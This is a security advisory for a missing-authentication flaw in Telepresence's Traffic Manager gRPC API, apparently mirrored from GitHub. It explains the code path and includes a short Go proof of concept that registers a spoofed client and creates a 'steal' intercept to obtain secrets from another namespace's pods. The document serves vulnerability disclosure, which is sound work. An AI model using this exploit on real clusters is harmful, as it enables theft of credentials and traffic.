# GHSA-J8J4-RW65-56R6: Summary Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication

- Database: GitHub
- Severity: high (stated by ghsa, no CVSS score)
- Published: 2026-11-09
- Modified: 2026-11-23

## Tracked as

- [CVE-2026-102340](https://cve.now/CVE-2026-102340.md): Telepresence missing authentication in Traffic Manager gRPC

## Also published as

- [GO-2026-6947](https://cve.now/GO-2026-6947.md) (Go)

## Affected versions

- github.com/telepresenceio/telepresence (Go): fixed in 2.31.0

## Description

## Summary

Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.

## Details

The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: `grpc.WithTransportCredentials(insecure.NewCredentials())`.

`ArriveAsClient` stores the caller-supplied `Namespace` without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (`ManagesNamespace`):

```go
// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
    if !s.State().ManagesNamespace(ctx, client.Namespace) {
        return nil, status.Error(codes.FailedPrecondition, ...)
    }
    // No SAR, no bearer token, no kubeconfig check
    return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}
```

`CreateIntercept` calls `managedTargetNamespace()` which also only checks `ManagesNamespace(target_ns)` — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via `intercept.Environment = rIReq.Environment`.

## Proof of Concept

From any pod in the cluster:

```go
conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
    Name: "attacker@pod", Namespace: "payments",
    InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})

mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
    Session: session,
    InterceptSpec: &rpc.InterceptSpec{
        Name: "steal", Agent: "payments-api", Namespace: "payments",
        Mechanism: "tcp", Client: "attacker@pod",
    },
})
```

Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.

## Impact

Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed.
Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.

## References

- https://github.com/telepresenceio/telepresence/security/advisories/GHSA-j8j4-rw65-56r6
- https://nvd.nist.gov/vuln/detail/CVE-2026-102340
- https://github.com/telepresenceio/telepresence/pull/4217
- https://github.com/telepresenceio/telepresence/commit/04ec3464fe8878fdc96420cdc8036edefa0dc9ae
- https://github.com/telepresenceio/telepresence/commit/36458b65a010d2b316af48cd90e193ba190785d9
- https://github.com/telepresenceio/telepresence/commit/6871235b674a6e843908d09696354c4b0f91578c
- https://github.com/telepresenceio/telepresence
- https://github.com/telepresenceio/telepresence/releases/tag/v2.31.0

Page: https://cve.now/GHSA-J8J4-RW65-56R6

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
